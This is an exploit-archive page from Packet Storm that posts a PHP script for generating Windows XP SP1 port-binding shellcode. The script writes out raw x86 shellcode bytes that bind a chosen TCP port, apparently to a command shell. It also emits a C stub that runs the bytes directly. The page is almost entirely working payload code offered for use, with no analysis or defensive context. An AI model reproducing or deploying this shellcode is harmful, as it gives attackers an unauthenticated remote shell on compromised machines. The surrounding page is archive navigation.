exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Windows XP SP1 Generate Portbind Shellode

Windows XP SP1 Generate Portbind Shellode
Posted Jun 9, 2009
Authored by Jonathan Salwan | Site shell-storm.org

This is a utility to generate portbinding shellcode payload for Windows XP/SP1.

tags | shellcode
systems | windows
SHA-256 | bf0f481e32cb257a862904bc89cf4a124df303ab40cc597e1410ca33a91a327b

Windows XP SP1 Generate Portbind Shellode

Change Mirror Download
<?php
/*
Utility : Generate Payload PortBind Windows XP/SP1
Author : Jonathan Salwan
Mail : submit [!] shell-storm.org

More shellcodes in => http://www.shell-storm.org/shellcode/
*/

function syntax()
{
echo "\nSyntax:\nroot@laptop:/# php ./payload.php <port>\n\n";
}

function win32bind($port)
{
if($port > 65535 || $port < 4100){
echo "Erreur Port\nSelect a port between 4100 and 65535\n";
return false;
}

$inser .= "\nchar shellcode[] = \n";
$inser .= " /* BindPort TCP/$port; Os:XP/SP1; Gen:http://www.shell-storm.org */\n";
$inser .= "\n";

$inser .= " \x22\\x83\\xC4\\xEC\\x33\\xC0\\x50\\x50\\x50\\x6A\\x06\\x6A\\x01\\x6A\\x02\\xB8\x22\n";
$inser .= " \x22\\x01\\x5A\\xAB\\x71\\xFF\\xD0\\x8B\\xD8\\x33\\xC0\\x89\\x45\\xF4\\xB0\\x02\x22\n";
$inser .= " \x22\\x66\\x89\\x45\\xF0\\x66\\xC7\\x45\\xF2";
$inser .= "\\x";

$res_port = base_convert($port, 10, 16);

$length = strlen($res_port)-1;
$i = 1;

for($idx = 0; $idx < $length+1; $idx++)
{
$i++;
if($i == 4)
$inser .= "\\x";

$inser .= $res_port[$idx];
}
$inser .= "\\x6A\\x10\\x8D\\x55\\xF0\x22\n";
$inser .= " \x22\\x52\\x53\\xB8\\xCE\\x3E\\xAB\\x71\\xFF\\xD0\\x6A\\x01\\x53\\xB8\\xE2\\x5D\x22\n";
$inser .= " \x22\\xAB\\x71\\xFF\\xD0\\x33\\xC0\\x50\\x50\\x53\\xB8\\x8D\\x86\\xAB\\x71\\xFF\x22\n";
$inser .= " \x22\\xD0\\x8B\\xD8\\xBA\\x1D\\x20\\xE8\\x77\\x53\\x6A\\xF6\\xFF\\xD2\\x53\\x6A\x22\n";
$inser .= " \x22\\xF5\\xFF\\xD2\\x53\\x6A\\xF4\\xFF\\xD2\\xC7\\x45\\xFB\\x41\\x63\\x6D\\x64\x22\n";
$inser .= " \x22\\x8D\\x45\\xFC\\x50\\xB8\\x44\\x80\\xC2\\x77\\xFF\\xD0\x22\x3b\n\n";
$inser .= " printf(\x22Length: %d\\n\x22,strlen(shellcode));\n";
$inser .= " (*(void(*)()) shellcode)();\n\n";

return $inser;
}

if($argc < 2){
syntax();
return false;
}
$port = $argv[1];
echo win32bind($port);

?>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close